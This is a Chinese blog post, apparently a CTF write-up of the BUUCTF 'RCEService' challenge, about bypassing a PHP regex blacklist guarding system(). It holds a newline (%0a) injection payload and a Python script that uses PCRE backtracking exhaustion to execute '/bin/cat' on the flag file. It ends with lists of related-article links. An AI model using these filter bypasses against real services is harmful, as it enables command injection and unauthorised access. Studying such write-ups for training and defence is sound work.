PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
php UTF8 文件的签名问题
Oct 30 PHP
PHP 配置open_basedir 让各虚拟站点独立运行
Nov 12 PHP
codeigniter上传图片不能正确识别图片类型问题解决方法
Jul 25 PHP
php连接odbc数据源并保存与查询数据的方法
Dec 24 PHP
php通过array_shift()函数移除数组第一个元素的方法
Mar 18 PHP
PHP判断来访是搜索引擎蜘蛛还是普通用户的代码小结
Sep 14 PHP
PHP实现限制IP访问的方法
Apr 20 PHP
PHP基于双向链表与排序操作实现的会员排名功能示例
Dec 26 PHP
PHP实现的curl批量请求操作示例
Jun 06 PHP
PHP实现数组转JSon和JSon转数组的方法示例
Jun 14 PHP
使用Laravel中的查询构造器实现增删改查功能
Sep 03 PHP
Swoole扩展的6种模式深入详解
Mar 04 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
php在线打包程序源码
2008/07/27 PHP
php 生成随机验证码图片代码
2010/02/08 PHP
PHP JSON 数据解析代码
2010/05/26 PHP
PHP持久连接mysql_pconnect()函数使用介绍
2012/02/05 PHP
mysql 查询指定日期时间内sql语句实现原理与代码
2012/12/16 PHP
php使用Jpgraph绘制复杂X-Y坐标图的方法
2015/06/10 PHP
PHP的Yii框架使用中的一些错误解决方法与建议
2015/08/21 PHP
详解HTTP Cookie状态管理机制
2016/01/14 PHP
如何离线执行php任务
2017/02/21 PHP
浅谈Laravel中的一个后期静态绑定
2017/08/11 PHP
JS 控件事件小结
2012/10/31 Javascript
js中top的作用深入剖析
2014/03/04 Javascript
JS和css实现检测移动设备方向的变化并判断横竖屏幕
2015/05/25 Javascript
jQuery检测滚动条是否到达底部
2015/12/15 Javascript
JavaScript代码实现左右上下自动晃动自动移动
2016/04/08 Javascript
使用Browserify来实现CommonJS的浏览器加载方法
2017/05/14 Javascript
微信小程序排坑指南详解
2018/05/23 Javascript
基于Angularjs-router动态改变Title值的问题
2018/08/30 Javascript
使用layer.msg 时间设置不起作用的解决方法
2019/09/12 Javascript
JavaScript前端开发时数值运算的小技巧
2020/07/28 Javascript
使用python将mdb数据库文件导入postgresql数据库示例
2014/02/17 Python
使用Python实现一个简单的项目监控
2015/03/31 Python
对python xlrd读取datetime类型数据的方法详解
2018/12/26 Python
Python列表(List)知识点总结
2019/02/18 Python
python利用selenium进行浏览器爬虫
2019/04/25 Python
python 计算积分图和haar特征的实例代码
2019/11/20 Python
Python操作Sonqube API获取检测结果并打印过程解析
2019/11/27 Python
TensorBoard 计算图的可视化实现
2020/02/15 Python
购买200个世界上最好的内衣品牌:Bare Necessities
2017/02/11 全球购物
Belstaff英国官方在线商店:Belstaff.co.uk
2021/02/09 全球购物
ruby如何进行集成操作?Ruby能进行多重继承吗?
2013/10/16 面试题
校园演讲稿汇总
2014/05/21 职场文书
php+laravel 扫码二维码签到功能
2021/05/15 PHP
Python办公自动化之教你如何用Python将任意文件转为PDF格式
2021/06/28 Python
python异步的ASGI与Fast Api实现
2021/07/16 Python
Python自动化实战之接口请求的实现
2022/05/30 Python